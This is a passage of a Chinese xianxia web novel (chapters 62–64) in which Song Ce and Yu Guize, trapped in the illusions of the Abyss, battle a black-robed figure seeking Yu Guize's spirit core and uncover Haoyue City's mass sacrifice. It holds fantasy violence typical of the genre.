宋策察觉到怀中人轻微颤抖着,将脸埋在自己肩头靠得很近,压着声音带着温热的气息。
他抱着人的动作一顿,喻归泽散乱的长发披在他的身上,看着他轻轻颤抖的肩膀最终只是无声叹了一口气。
“我知道。”
62. 回忆·现实
“宿主,特殊任务显示未完成。”
支线任务主要目的是修复喻归泽的身体让他能重新修炼,资料中显示任务对象体内旧伤经过修炼已经恢复的差不多了,灵丹还没有恢复,但是如果只是全凭灵根修习也是没有问题的。
还没有赚到特殊任务的180的积分,但是主页已经显示能量恢复至35.6%,当前任务进度15.4%,既然如此不做特殊任务也没关系,这一趟极渊没有白来。
“他身上的蛊毒还未解开。”
“他的目标是喻归泽。”
宋策抱着人看向前方,以红色为幕,微弱的光线落在洞口,一道身影施施然向穴内走来。
“嘭!”
他渐走渐近点燃了手中灵火,瞬时洞内明亮起来,清秀俊丽的面容被火光照耀,他苍白的脸上露出些许笑意在幽暗的洞中犹如鬼魅。
下眼白微露,漆黑的神色瞳孔边缘分明,眸色中晕染着莫名的偏执疯狂,但远远看过来时幽邃又沉静,像是汹涌的波涛中折服的猛兽。
“千年?”宋策语气玩味,看他的眼神犹如在看一只阴沟的老鼠。
“苟活至此也是不容易。”
极渊幻境中从未现身的黑袍人,一直从皓月城时期活到现在,宋策上下打量他,不太明白这人到底想干什么。
并不枯哑干涩倒像是少年般清晰的声线:“我可以只要他的灵丹。”
“皓月城已经覆灭,如今你要他的灵丹也无济于事。”
他手中握着的火光更盛,炽烈的火焰照耀着他勾起的嘴角,以鼻翼为线条,阴阳分割的光影衬得她如同从地狱中爬上来讨命的恶鬼。
他骤然笑起来,咧开嘴角笑的痴狂。
“当年城主没能挖出殊灵的灵丹,我来挖!”
“他没能了却的心愿,我来替他!”
皓月城主一心想控制极渊中崩溃的灵煞,从古籍中到三界终于查到一个族群,内生灵丹天生能控制煞气,寻遍三界却从未真正见过这种族群。无奈城主只能多年苦心经营,呕心沥血希望能炼制出能控制灵煞的灵丹,没想到临门一脚却被身为天灵族的殊灵给毁了。
她毁了城主的心愿,身为天灵族有控制灵煞的能力却不肯解救皓月城,她该死!
段云清也该死!
“任何想毁掉皓月城的人都该死!”
他的□□还存于世,却早已死在那场浩劫之中,留在这世间的只有一个仇恨世间的恶鬼。
他眸光潋滟一抹杀意莞尔掠过,转动身体指着外面的满目红光,轻声细语的样子像是在和两人商量:“如果阁下不愿意,也能为抑制灵煞献出一份力。”
洞穴外在痛苦嘶吼的怨灵,低吼呻吟的声音如同从地狱中传出,那些都是被皓月城主献祭的灵魂,经年累月千年万年不得轮回。
“如何?”
宋策感受握着自己胳膊的手紧了有松,靠在身上的人身体紧绷着细微颤抖着,似乎是在担心宋策下一秒真的将他交出去。
宋策握着喻归泽劲瘦的腰的手缓缓划过他肩膀落在他不断起伏的脉搏上,指尖轻轻抚摸过他的命脉,沉着眼眸不语,似乎在思考这个交易的可行性。
抬眼看向眼前这个满目算计的人,他微微歪着头贴近喻归泽冰凉的脸,传音给他:“这就是你的保护?”
喻归泽身体一僵,捏着宋策腰间布料的指尖收紧,刚才封印机渊已经耗尽他体内甚至是灵丹的所有灵力,现在别说保护宋策,他垂落在外的长尾都难以收起。
宋策的语气中带着无奈的调侃,但这份在危险情况下的温柔不是他想要的。
心间震颤的紧张情绪让他的尾巴尖不住地颤抖,急躁地拍着地面。
“对不起,我……”
“一点都不乖。”
喻归泽沉默着低头,绷紧的小腹酸胀地厉害,根本站不稳,他脸白如纸嗫嚅着唇瓣小声喘息着。
“还真是情深意笃。”他嗤笑的声音短促地喉间钻出,语气间是等不急的厌烦。
“他们商量好有什么用?阁下不问问我的意见?”
破空的利器声刺来,黑衣人急迫转身回挡屠期绝突如其来的攻击,一双漆黑的眼瞳瞬间染上杀意,他回身折断屠期绝的攻击,两人的打斗身影时不时遮挡住洞口的光线。
“过来!”
黑影人抬手往喻归泽这边指,指尖落下的一瞬间宋策感受到怀中人浑身一僵,他像是一条绳子牵引着离开,屠期绝凝眸看来,墨色深瞳含着疑惑,他看着宋策无声张嘴。
“搞什么?”
宋策早有准备一般伸手一扯,一根鲜红的红线从喻归泽心口钻出灵活地缠住喻归泽的身体。
红绳刺穿心脏他如同木偶一般僵硬转身看向宋策,尖利的刺痛让他说不出话来,另一股红绳同样钻入宋策的心口共感疼痛,宋策垂眸将丝线一拉重新抱住他。
屠期绝看着宋策这一阵手段有些意外地挑眉轻笑,他也是修炼蛊道的,认得出这是连心蛊。
有些嘲弄地想:“疯子吧?”
“也真是不怕死。”
连心蛊这名字听着是不错,像是有情人之间的许诺誓言,但要他说这种蛊虫其实是一种诅咒,施蛊者能控制中蛊者的心神,但却需要分担中蛊者的痛苦。
除一方死,否则没办法解开这种蛊。
屠期绝觉得连心蛊就是炼制失败的情蛊,对他来说不利于施蛊者的蛊虫都是废料。
居然把种东西用在自己身上,真是疯狂。
他佩服宋策聪明的同时也不得不认他是个难对付的疯子。
“宋哥,我……”喻归泽眼神在清明和混沌之间切换,他捂住心口,心脏似乎被一根尖细的绳子束缚住,稍微一用力,纤细锋利的绳子似乎就要切碎他的脏器。
“我疼……”喻归泽胳膊艰难地搭在他的肩头,小声喘息着缓解这突如其来的疼痛。
宋策低声安慰:“没事,相信我。”
他吐出一口浊气按着宋策胸口有些难捱但依然会给他笑意:“自然,我信你。”
“疯子!”黑影人发出一声嘲笑,讥讽地看着环抱在一起的两人。
他飞身挡开屠期绝的攻击,黑色迷雾在洞内弥漫开,一抹红光杀意四散开,屠期绝站在两人面前隔档那阵莫名的黑雾。
一道漆黑透亮的光从迷雾中破开刺向几人面门,宋策抱着喻归泽的身体转身错开,具有腐蚀伤害的黑雾将他背部灼烧出一道血红大口子。
宋策抱着喻归泽的手难耐地收紧,他怀中的人察觉到他受伤,脱口而出的语气里满是对他的担忧。
极渊的空间极其不稳定,几人不过是几个回合打斗,宋策就感觉一阵眩晕,黑袍人脸色微变,果然下一瞬,他们后裂开一道缝隙,顷刻间将几人吞噬,悬空在崖壁中的洞穴也随之坍塌。
……
“这是你的本命法器?”
许长岁好奇地朝着宋策袖口看去,修士的本命法器可以直接收入到丹田府邸中,当时救命情况比较急迫,她根本没有功夫去看那个法器,但也能猜到法器的品阶不低。
搞不好还是神级品阶呢。
“前辈,它叫什么名字?”
那抹鲜红有了自己的意识一般从宋策袖口伸出,调皮地缠绕在他的腕部,一点也不害羞地朝许长岁摆弄姿态。
“名字?”宋策微微皱了皱眉,眸中携着一抹茫然。
这东西有名字吗?
好像没有。
红绫长时间没有得到宋策的回应,有些不乐意地收紧力道将宋策从失神中唤醒。
他瞥了眼手中器物,完全没有把他当做本命法器的自觉,随意将他耷拉在桌上。
“没出息。”它本来就没出息,看到喻归泽贴的比谁都欢快。
“没出息?”许长岁难言讪然笑笑,猜这人也许是胡诌的,哪有人本命法器叫这种名字。
“你开心就好。”
“没出息”很恼火地在桌子上跳来跳去,“手舞足蹈”发泄着自己的不满。
借了喻归泽这个天道之子的鸿运,在极渊取得护身法器,只记得这东西和喻归泽的本命法器同出一源。
喻归泽的本命法器倒是有个正经名字。
夜月高悬,章尾雪山的山脉绵延不绝托起远处的一轮明月,宋策托着下颌靠在窗沿,胳膊搭在栏杆上,悬空的指尖轻轻点着远处那一点圆圆的光。
吹拂的风从他袖口钻入身体,院落中弥散着红梅的香气,两侧的圆柱
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也贴着红色双喜字,就连树上也被艳红喜庆的绸缎包裹装饰着。
“喂,前辈!”
“啧。”宋策眉眼皱起,眼前突然出现许长岁的一张脸,恰好挡住他的月亮。
好半晌不说话,他还以为这丫头走了。
“去找九婴闹去,别来烦我。”
许长岁一把夺走宋策手中的酒壶,脸在窗外正对着宋策瞧,看着他微醺的脸颊氤氲着红意,眉眼染上迷离的醉意,好意劝解道:“这酒是凡间浊酒,喝多了对修道者没什么好处。”
宋策百无聊赖地晃晃指尖:“退下。”
“好吧,前辈”,她语调有些失落但下一刻突然拐了一个大弯,带着诱惑说,“既然你这么喜欢喝酒,不如我带你去喝爹埋的好酒。”
“你爹?”
宋策有点兴趣地抬头。
看着她挥挥手飞扬的发丝都在招呼人。
“对啊,我爹以前也喜欢喝酒,经常瞒着我娘喝酒,他自己还会酿酒呢。”
也许是怕宋策顾虑什么,她还补充一句:“放心,这酒是我爹埋给我的,说是在大婚那日挖出来给宾客喝,埋了好些呢,我搞出来一些没事的!”
“宿主,你也算是提前喝上这小姑娘的喜酒了。”
他们坐在树下,清冽的香气萦绕在鼻尖,氤氲的酒香飘散着仙气,确实是好酒。
许长岁拿着小酒壶对着小酒杯站在花树下摇摇晃晃地对着宋策举杯。
“来来来前辈,干杯!”
“我干了,你随意啊!”
“都在酒里了!”
宋策有些无语地看着这么激动的许长岁。
才几杯下肚就醉成这样,他指尖轻动萦绕着一股灵力隐隐拖着许长岁。
“我和你说,我师兄将来可是要承接我爹掌门衣钵的人,他配我绰绰有余,他人也好对我又温柔!”
“嗯哼?”宋策托腮有些好笑地看着许长岁举杯邀明月的醉态,听着她胡言乱语。
远处花枝乱颤,雪山巅峰那一抹白色穿插在艳红参差交错的花枝之间,月夜云翳飘逸不定随风而动,一切平静地诡异。
“他这么好,我却逃婚,你是不是觉得在作怪?”
“不会。”
似有所感,宋策遥遥看去,枝影交错间雪白轻纱轻盈地落在粗壮的枝干上,花影云翳中他看见一截白皙脖颈从瘦削的腕骨侧露出,他不免轻笑出声。
满脸醉意的少年没有察觉到他的失神,惆怅难言对月消愁。
“其实爱慕我师兄的人有很多。”
她摇摇酒盏,突然拍拍自己胸膛:“可是我也是很好的人,我修为虽不如他但是我一个人也能做自己想做的事,行侠仗义,悬壶济世样样在行!”
“对,聪明伶俐样样在行。”
许长岁走到他跟前,宋策从善如流地为她斟酒。
“我也能感觉到我师兄待我不错,或许是责任更多”,她醉的有些语无伦次了,“我不想成亲!”
“九婴前辈说的妖界万花海我还没有看过,书上写的魔域绝境密林我也从未踏足过,修道者怎么能止步儿女情长!”
“风雪子弟当仗剑天涯,踏山御海!”
“或许你可以和你师兄商量。”
听到这里宋策哑然失笑,婚姻大事确实不能儿戏,他就是个活生生的一个例子,把结契礼当炼器法阵,把洞房仪式当交易现场,落得个死无全尸的下场。
“对啊,说不定我师兄也不想和我结契呢。”
她只和自己爹抗争过却从来没问过自己师兄的意思,如梦初醒一般她提着裙子就要走,手里还拿着酒杯边走边给自己倒酒,嘴里嘟嘟囔囔说着什么。
系统茫然麻木地说:“宿主,人家结婚,你搁这儿搅局呢。”
“我可什么都没说咳咳……”宋策掩着唇角,眉眼洋溢着难以忽视的笑意,烈酒辣的他嗓子疼,咳嗽了几声却仍然控制不住。
“我看她这婚结不了,周牧太心急了。”她爹想的太多,着急自己死后没人能保护自己女儿,恨不得立马给她找一个依靠,殊不知这不是许长岁想要的。
他看着树梢上随风摇曳的红绸,醉意逐渐上头,视线有些恍惚:“心急能毁了一切。”
63. 回忆 “宋哥,我们结契吧。”
赤色喜服,血红的双喜字贴在厅堂正上方,悬梁上也挂着红绸长缎,窗外人影窜动,仔细听还能听到外面推杯换盏的嬉闹声。
刚才还在极渊的洞穴,现在这是?
一切都诡异的不正常。
“系统?”
“我在呢……”
系统被吓得不敢说话,他也不知道这是怎么回事,怎么就中式婚礼现场了,这不闹吗?
宋策捻起身上的衣服,有实感的衣料纱料贴着指尖传来冷意。
身边居然还有一个人坐着,他凝眸看去,坐在床上的人乖顺地将手交叉搭在膝盖握在一起,也许是察觉到宋策的动作,这双手缓缓收紧捏着腿上的衣服。
那双手修长骨节分明,淡色的青筋隐隐显露在白皙的皮肤下,看上去倒像个娇生惯养的,但就这双手的尺寸来说宋策也能看出来这人是个男子。
他有些疲惫地揉揉眉心,觉得很烦躁,这一切都是些什么糟心事,游戏CG吗?
宋策起身环顾四周,虽然周围一切都真实的像是亲身经历,窗外晦暗,时不时还有几声奸细粗哑的嬉笑声,就算内屋装饰的再喜庆也会给人一种诡异惊悚的感觉。
但一回生二回熟,又是幻像。
喻归泽已经封印极渊,他们居然还能被幻境吞噬。
他走到门边,门被锁住,这不合常理,他有些疑惑地看向始终坐在床榻上一动不动的“新郞”。
“宿主,你别过去,鬼哎!”
见宋策不管不顾就往床榻那里走,系统极力劝阻,这一切看着就很不对劲啊,说不定那个床上坐着那个不知道是什么怪物呢。
宋策敛眉轻笑压下心中阴郁憋闷的心绪,他要看看是什么鬼要和自己成亲?
从一堆花生桂圆乱七八糟的东西里面挑出喜秤,沿着手柄上下摩挲,宋策单手转动喜秤漫不经心地走向珠帘玉幕中,烛火将他的影子投射到喜字上。
“宿主,你别!”
系统已经阻止不了自家宿主,干脆屏蔽视觉。
红色盖头揭开的一瞬间,点缀朱红细钿的眉额落入眼帘,一双明亮的眸子含着盛情期盼地看向他。
宋策眉心一跳,拿着喜秤的手却直接抬起他的脸细细打量。
“小瞎子?”
“嗯?”
喻归泽笑着望着他,尾音拐着弯裹挟着情意像钩子样挠了一下心间,涂着口脂的唇微微勾起,眼尾的一抹粉红收敛了他脸上原有的清冷矜贵,如今看来显得有几分秾丽的妩媚。
他并未躲开宋策手中的喜秤,反而勾着宋策腰间的玉佩,抬着下颌轻轻贴近他的腰腹从下往上看着。
“宋哥,我们结契吧。”
宋策被他这副怪模怪样逗乐了,方才心中莫名的烦躁情绪也被隐藏起来。
“好啊。”他俯身靠近,捻起他一缕长发放在鼻尖轻嗅,却并未闻到那缕熟悉的清香,。
低头含笑蹭着他的衣领,他们离得足够近气息交缠:“那我该叫你什么?夫君?”
“还是郎君?”
“嗯?”似乎是没听清,他侧身想靠近些却被宋策含笑挡开了。
看着他怔愣顿住的样子到底是忍不住捧着他的脸颊细细揉捏他眉那抹春色。
宋策心想,这究竟是谁的臆想,他居然在幻境中和喻归泽成婚,确实有些可笑了。
这幻像确实学的挺像,但他现在可没功夫在这里演戏。
真正的小瞎子还不知道去哪了,他试图感受连心蛊的另一端却只是一片虚无,若是死了前面一切努力岂不是白费了。
他的手缓慢滑向“喻归泽”的的脖颈,含着笑意唇靠近在他耳边道:“郎君,你知道吗?”
“他不会想和我结契的!”阴沉的声音说出冰冷的话语,宋策明显感受到身下人浑身一僵。
“喻归泽”脆弱的脖颈在他手中抽搐着,他细微颤抖喘息着,粗粝的手茧摩擦着他白皙的皮肉,近乎透血擦伤,成年后的喻归泽身上不像他刚捡到时那般纤弱,绷紧的肌肉线条贴近宋策,他能察觉到身下人的力量,如同真的握住了他的命脉感受到他喉结上下滚动的触感。
宋策觉得很新奇,他早已不惧怕鲜血和杀人,但这一次他仿佛又变回了多年前那个青涩胆怯的自己,久远到不真实。
“宋哥……不要……”
他艰难地伸出手拽着他的腰带,指尖软弱无力,眼眶染血发红,几息之间倾长睫羽就被无声滚落的泪珠氤湿。
无声张唇呻/吟着,口脂斑驳错落地蹭到宋策腰间的喜服上,痛苦的呼吸声也被他艰难地吞进喉咙化作犬类的呜咽。
“宋哥不要……不要这样对我……”
“我疼……”
宋策握紧的手掌隐秘地松开一瞬,下一刻他手指插|进他散乱的头发抓紧他的发根,浅棕眼眸在昏暗洞房花烛夜中如寒潭幽深藏着嗜血的杀意。
他喉间发出细微的嗤笑,觉得万分可笑荒唐:“郎君——
“我要杀他,真正的他可不会冲我流泪求饶。”
幻像就是幻像,迷惑心智,不伦不类。
骨骼碎裂的声音响起刹那,宋策怀中人顿时化作一抹混沌的烟云散开。
握在手中的温度瞬间消散如流沙一般从指缝流失,宋策垂眸握着手掌有片刻失神。
“宿主?”
“大人?”
阴暗的空间中充满逼仄令人窒息的氛围,宋策指尖轻动抬眸看向眼前突然出现的人。
暗色长袍罩住全身,衣袍上下绣满古老繁复的符文,宋策看不清他的面容,也探测不出他的修为,他环顾四周能确认这里是皓月城主府。
“交易比不确定的契约要稳定的多,不是所有人都和我们首领一样能给你们两次机会。”
他走至身侧,一股浑厚的威压从身边铺散开,宋策沉静不语,又是皓月城中残余的幻像,就是不知在幻境中乱来会不会有什么后果,他压下内心的冲动,最终还是没说话。
即使不看他的反应,宋策也能感受到他语气中自得的笑意。
“这世间大多生灵命运不过如缥缈浮游,生死都在我们一念之间,轮回转世挣扎在凡世沉沦中是他们应有的命运,既然能够为我们所用,这就是他们的命。”
“理应如此。”
“哥,你不要听他废话!”
一道身影从外面冲进来打断了两人的对话,宋策借着厅前琉璃镜面翻转看清了他和这具身体一般无二的面容。
青年脸上隐怒,赤红长发高高竖成马尾随着他大踏步的动作微微扬起。
“你怎么还敢来!”
被怒怼的人丝毫没有被质问的异色,他施施然抖着袖口转头看着来人上下打量在确认这人是谁。
“原是二统领,安好。”
“少套近乎!”
宋策试着动了动身体,可以自由行动,这种幻境居然是让人深入某个人的记忆体味这些原本发生的故事,他意念一动觉得确实有些意思。
看着眼前这个满脸怒容的青年,他觉得新奇,这是青面鬼。
他想过青面鬼跟过段云清一段时间,没想到他居然曾是皓月城的统领,他还以为青面鬼生来就那般丑陋,如今看来倒是有几分顺眼,至少不会丑的眼睛疼。
“哥,你不要再执迷不悟了,他们根本就没安好心,拿着城中百姓做实验,根本就不给我们活路!”
“够了!”浑厚的声音从堂后传来,混着上位者的威压,青面鬼先反应过来向城主行礼。
“城主。”
“云竹,你退下。”
【特殊任务进行中
任务执行者:宋策
任务指南:解锁皓月城主和@#3#的隐秘
任务奖励:180积分】
青面鬼有些不甘心地看向黑袍人,欲言又止最终挥袖愤然离开。
“宿主,任务!”系统赶紧提醒宋策,误打误撞掉进幻像中居然碰到了能解锁特殊任务的流程,宿主难得运气好。
白得180积分!
“城主,既然殊灵毁了您一池阴蛊
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,你当然可以再养一池。”
“我们首领大人怜您城中朝不保夕,特意让我来告诉你炼制新蛊的办法,愿意重新为您加固极渊大阵。”
始终在阴影中的皓月城主终于从厅后走出,他花白的头发披在肩头,沟壑弥补的脸颊凸显苍老。
系统也认出这人是谁了:“这不是,刚进极渊的那个老头子,他是皓月城主!”
这时的他看上去比神魂状态要苍老疲惫的多,但依然目光如炬地看着面前这个向他谈判的人,坚毅的眼神如刀般锋利刺透这个黑袍人看向他背后真正的操控手。
“他要什么?”
黑袍人低声笑着,他很满意城主的上道:“自然是老规矩,我们加固极渊法阵,您给我们送‘器货’。”
他话锋一转,声音含着隐晦的阴沉:“云大人,最近送来的东西品阶太低,我们首领可不太满意。”
他视线穿过皓月城主看向背后低声不语的宋策。
皓月城主隐秘地回身看着他,注视的眼神阴暗迫人,宋策将身体压得很低。
进入极渊之前他专门研究过幻境的品类,虽然眼前都是幻像,但是这些东西运转都有着一套自己的逻辑,不深陷幻像迷惑的同时也不能轻易打破这层逻辑,否则也会被幻像中的东西波及到。
极渊的幻像更是特殊,眼前这个人明显修为不底,如果被察觉到有任何不妥之处,很有可能在幻境中被发现是异类受到攻击。
“云统领?”他走进宋策,模糊不清的脸对着他,语气中的询问含着不正常的压迫,“怎么不说话?”
“我听说,大人在押送“器货”过程中不小心放走了几只畜生?”他轻轻拨动着指尖,他手中弹出一个凌空旋转的小型法器。
这种微型法阵在手中自由运转,能在千里之外感应阵中情况适时控制阵法攻击形式,亮起的灵光照着他的暗色法衣上的符文隐隐散发着幽蓝色冷光,宋策眸光瞥见那些繁复又不显杂乱的符文,看得出这些东西品类都不低,至少五品。
他法衣上的符文能和他手中运转的小型的法阵契合,两者灵活地呼应运转,宋策想再抬头看一眼。
皓月城主有心不想让外人难为自己手下人,但如今受制于人无奈只能处处忍让:“大人,前些日子的大妖有些难缠,我手下几人都受了些伤。”
“是吗?”他翻手按下手中灵阵,那抹灿烂幽蓝瞬间消失。
宋策不动声色地头,那人却抬手搭在他肩头,隔着法衣轻点他的锁骨:“那大人还真是不小心呢,若不是我们的人到场提货,就让那几畜生跑了。”
系统紧张地不敢说话,这幻境中的“人”给人的压迫感太强了,他有一种被看穿的错觉。
黑袍人的指尖轻轻拨弄宋策胸口的发丝缓缓点着他的心口,似乎要刺穿他的心脏。
宋策忍住想掰断眼下手的冲动,始终垂着眸伏小做低的姿态后退一步,心口令人不适的抵压才消退。
“不敢。”
这一刻他声音像是失去了伪装,他尾音拉长如薄刃削肉带着冰冷的威迫:“我以为大人手软——心也软呢。”
“云书,退下!”
宋策刚准备行礼退下,身前人骤然靠近。
他铁钳一般的手突然握着他的肩带着禁制要将他的骨头都按碎。
“被发现了!”系统比宋策这个当事人还要慌大叫起来。
这具身体有伤,情况急迫宋策只能施法震开身上桎梏,那人紧追逼近,但是幻境还没消散,宋策抬眸看向周围,一切都已经化作虚无的黑暗。
“杀了你!”
灵力刀刃割破宋策的脸颊,能撕碎人的气浪向面门冲来,宋策被震的往后飞倒,刹时一股无形的力道如柔软的云托住他的后背缓缓落下。
顷刻间冰冷的气息靠近他,还没注意到是谁,空间裂开,宋策被一只手拽着往后一拉,那黑袍人身影被隔绝在外。
耳边嘈杂的声音交互钻入脑中,宋策看清了出现在身边的人。
“宋哥,你怎么样?”
64. 回忆·现实
“宋、宋哥,怎么了?”
脱离幻境的同时宋策顿时感受后背的灼痛,身上每一根筋骨也跟着阵痛起来。
喻归泽僵直着身体任由宋策动作,看着他这幅模样宋策蹙起的眉终于松开,他摸了摸喻归泽温热的脸颊顺手捏了捏。
“小瞎子,真是笨的可以……”
喻归泽眼中依然模糊,他看不清宋策嘴角掠过的笑意和眉眼藏着的情绪,以为宋哥嫌弃他刚才妄动用灵力招来杀身之祸,他抿唇掩下眼眸。
“不怪你,只是想喊你。”察觉到喻归泽神情,宋策最终摸了摸他的发顶,软软的果然像一只毛茸茸的小仓鼠。
他读研时养过一只小仓鼠,伤心时背对着自己啃食小零食不理人,委屈了也要爬出小窝蹭着自己的手指求安慰。
终于他还是忍不住摸了摸他的眉眼,掌心的睫羽的不断轻扫,宋策心间微软,真的像一只毛茸茸的小动物靠着自己时不时蹭蹭自己祈求顺毛。
“二位,我们还在幻像虚无之中,如今情况情急不容迟缓。”
宋策牵着喻归泽的手将他拉至身侧看向旁边的人,这就是刚才破开虚空将他救走的人,宋策有印象。
冥道鬼修,修炼到一定境界能在两界之间自由穿梭,极渊灵魄众多,鬼气深重,虚幻与现实分界并不清晰。
他眉眼温和,唇红齿白像个清秀少年,说起话来嘴角总是若有若无的挂着笑,一副温软好脾气的相貌。
宋策颔首:“宋策。”
“久仰。”他笑的眉眼弯弯。
“方才多谢。”
也许是顾及到宋策可能不记得自己,他自报姓名:“大人可以叫我风熙羽。”
宋策很自然的伸出手,风熙羽眸光一闪两人指尖在空中相触,宋策碰到一片凉意他下意识收回手。
他沉下眼眸感慨,这么多年了还是无意中暴露现代社交礼仪的习惯,很自然地暴露以前在正式的商务会议或者商业谈判中是握手礼仪。
风熙羽对宋策的动作并未作出任何表示,只是轻轻笑着,小小的尖牙在唇边闪动,宋策总觉得这人像在现实世界中部分群体会喜欢的那种晴天娃娃。
“我不喜欢四处乱跑的猎物。”
身边的空气微尘细微震动漂浮起来,空间被再次撕开,那抹熟悉的身影出现,来人从容地从空间缝隙中踏入。极渊幻境果然不同一般,这些幻像借助无数生灵怨鬼的气息又脱胎与本体,有着自己的思想和行事逻辑,眼前这个东西更胜,它还能穿透空间限制直接追杀到这里来,绝对不是个好对付的。
宋策的握着喻归泽的手收紧,腕部用力将他拉至身后。
黑袍人指尖勾着挡在眼前的罩袍,视线锋利如利剑从风熙羽划过宋策,最终看向喻归泽,手中掐诀的动作停住。
虽然他的身影在喻归泽眼中只是一团阴影,但他的视线犹如实质,让他感受到一股紧逼的威压。
“你是?”黑袍人盯着喻归泽带着疑惑的声音脱口而出,刚才还从容不迫的样子似乎有些崩裂。
“你身上的气息?”
他完全没有把另外两个人放在眼里,缓步走近,仔细打量喻归泽的视线犹如一把刀要将他细致解刨。
“怎么可能?”也许是想到什么可笑的事情,他喉间发出短促的笑声。
“她怎么可能有你这么大儿子?”
察觉到气氛紧迫,宋策眼疾手快地将喻归泽拖走急退,风熙羽默契地挡开劈来的攻击,灵力碰撞的一瞬间,晦暗的空间中犹如烟花炸开,刺目耀眼。
宋策回眸察觉到空茫的位置不止有四个人,一道身影闪现,长剑劈开横劈攻向黑袍人顿然发出铮鸣声,尾音落下的刹那,剑刃在刺眼的光芒中裂开,剑光从他眼前划过,“嘭”地一声剑端飞出“噌”地直插入地面,段厄被冲击力震开。
“咳咳……”
“自不量力。”
“剑修啊?”
他侧脸瞥了眼断掉的剑,言语中含着不可思议的戏弄:“我就见过这么烂的剑。”
段厄痛苦的无法挣脱虚化的桎梏,四肢仿佛被钉子钉在地上无法动弹。
死亡临近,他甚至看不清对方出手的动作,感受不到对方灵气波动的瞬息,在绝对的实力面前,一切挣扎都显得可笑。
段厄神情凝重地看了眼飞出的剑端,啐了一口血沫。
“我倒要看看你到底是个什么东西?”一股灵力骤然按住喻归泽的肩颈将他往后一拖,浑身灵力受到压制,宋策感受到心口阵痛,宋策被他灵力震开,下一刻他恶劣地扼住喻归泽的脖颈,次谈的灵力霸道且不容挣脱穿透喻归泽的经脉。
“你居然真是她的血脉?”幽蓝色灵力如刀尖冰地贴着他的脸颊,缓慢却折磨,它的主人似乎在思考应该在从那一块皮肤切下去。
“真是有趣。”
“别碰他!”云书冲破空间限制,被无形之力困住的宋策骤然感受到松懈,从空中跌落。
“云大人?”
“这么些年,你还活着呢?”他聊赖的语气恍然,吐口而出来,“这就是你找的灵族?本事不小啊。”
他嘲笑的样子丝毫不把云书放在眼里,两人顷刻间缠斗在一起。
云书知道自己不是这人的对手,千年之前不敌本体,如今境界跌落的他也没有办法对付这人的幻像。
黑袍人逗弄地拖着喻归泽的身体,云书的灵力攻击甚至无法触摸到他的一片衣袍,失去的痛苦他不想再接触一次。
云书目次欲裂,视线紧紧跟着喻归泽,伸出的灵力波动不断刺探他的声音,身上被黑袍人戏弄的灵力刺破,每一寸皮肤都被暴露在锋利的灵刃之下,鲜血淋漓腥味蔓延四周。
他要灵族的灵丹,他想了千百年,如今就在眼前,极渊需要灵丹!
有了灵族的灵丹就能保住皓月城,城主就不会死,城中所有百姓也会活着!
从云书炽烈的眼神中看出他千年不熄的欲念,黑袍人嗤笑:“下等牲畜,你们也配?”
最后一抹灵力刺破他的肩膀,血沫喷洒而出,他缓步走至云书的身前,抬脚踩在他的脖颈缓慢下压,撑在膝盖微附身居高临下地看着他,他垂落的黑色长袍扫在云书脸上,嘲讽意味十成十。
“他是我的!”蓬勃的魔气瞬息之间从空间中炸开,杀意蔓延,段厄褶皱的脸上露出一丝意料之外,但想到什么还是忍无可忍地闭上眼,未做掩饰。
另一只魔段厄认识,居然也能从虚无空间追过来。
魔气的主人将压制他的人击退,将他安置在安全区域,另一道高阶魔气恰时四溢。
屠期绝的目的是保住喻归泽这个诱饵,他和宋策做过交易,他来极渊要找的东西还没有得,可不能让人截胡了。
对付两只高阶魔族,黑袍人有些应接不暇。
脆弱的空间根本经不起众人这样斗法,空气中每一颗粒子都在震动,压在身上的禁锢切割着后背,宋策按住地面艰难地站起身体,看了眼几人范围掐算时间。
每一寸方位空间如幕布般碎裂开一道道细小的裂缝,宋策看准时机。
“三招之内将他击退至你身后三丈!”
屠期绝视线微动,掐诀的动作迅速,视线紧盯眼前这个朦胧的身影。
他招式变化多段,花样繁杂,屠期绝心想,还好只是个幻像,若非如此他和另一只魔联手也未必是他的对手。
在电光火石之间,段厄顿时感受到身上的威压撤去,一道光影闪现至眼前,他被拽起,段厄想并未脱开桎梏。
“走!”
压制在身上的魔拖着段厄瞬间勾走倒插在地面的断剑。
“宿主,你疯了!”显然系统的劝阻毫无用处,宋策已经借助屠期绝的魔气息保护冲向两人法术中心,黑袍人被击退至他身后裂缝中。
在空间崩裂倒塌的一瞬间,宋策勾住那抹延伸出来的红线,心脉相连,他死死抓住那抹白色身影。
喻归泽看不清宋策的动作,但是也能感受到心口的刺痛,心口每一根经脉,每一块血肉都在颤抖,他下意识地看着眼前。
“宋哥!”
黑幕四分五裂,所有人都被幻像的虚空吞噬,在最后紧要关头宋策抓住了手中那片衣角。
“宋哥?”
“我在,别怕!”
周围一切炙热如火烤,如同身处一尊熔炉中,听着耳边痛苦的吼叫声,喻归泽心口震动,丹田中灵丹也不复往日稳定,时时绞痛。
这些都是在极渊地底下挣扎的怨灵,抬头看向上方,无数阴影悬空,犹如一颗颗花树上凝结的果实,密密麻麻数不胜数。
仔细看去才能发现那些都是被困在上方不断挣扎的人!
他们狰狞着嘶吼着想挣脱束缚,但是还是被蓬勃而出的气浪击落。
“这里是极渊地脉深处”,喻归泽沉着地按住宋策手腕,确定道,“炼化生灵稳固法阵之地。”
“魔族竟然反水!”
“是城主想要我们死!”
“我不想死!”
“我不想死!”
“统领呢!城主!”
看着这如同炼狱一般的场景,无数□□化作血水融化在炙热的灼烧中,置身感受到这股灼烧,他们察觉到周身灵气在迅速流失。
“宋策!”
苍月一袭红衣从他们身后飞过来,其他人都躲在法阵西南方位。
“当年皓月城主将极渊地脉化作成一个巨大的法阵,吞噬了近乎整座城池的生灵,炼化他们的魂魄,极渊大阵夜以继日地吸收这些魂魄的力量才有了如今的稳定。”
朱半规脸肿的和猪头似的,完全不似在幻境中的潇洒,他摇摇晃晃地靠在崖壁之上,神情空茫似乎才从幻像中脱离,唇色乌青可见蛇毒还未解开,意识迷迷糊糊嘴里还不忘骂着宋策。
“宋策,你个疯狗,解药给我!”
连尽神色凝重,路过朱半规身侧时还不忘一张符贴在他的嘴上手动消音。
“时间不多了,再不出去我们就要和这些东西一样永远留在这里了!”
连尽试图探出一丝灵力试探压在上方的屏障,灵力触碰天顶的一瞬间,就被吸收殆尽。
宋策说:“肉身完全被炼化,被法阵吸收的就是我们的魂魄了。”
这时始终站在众人身后的风熙羽拢着罩袍往前,似乎是不擅长在这们多人面前说话,他低着头闷声闷气:“极渊空间变化无穷,法阵机关绝妙诡谲,入阵之人难以分清现实和幻像。”
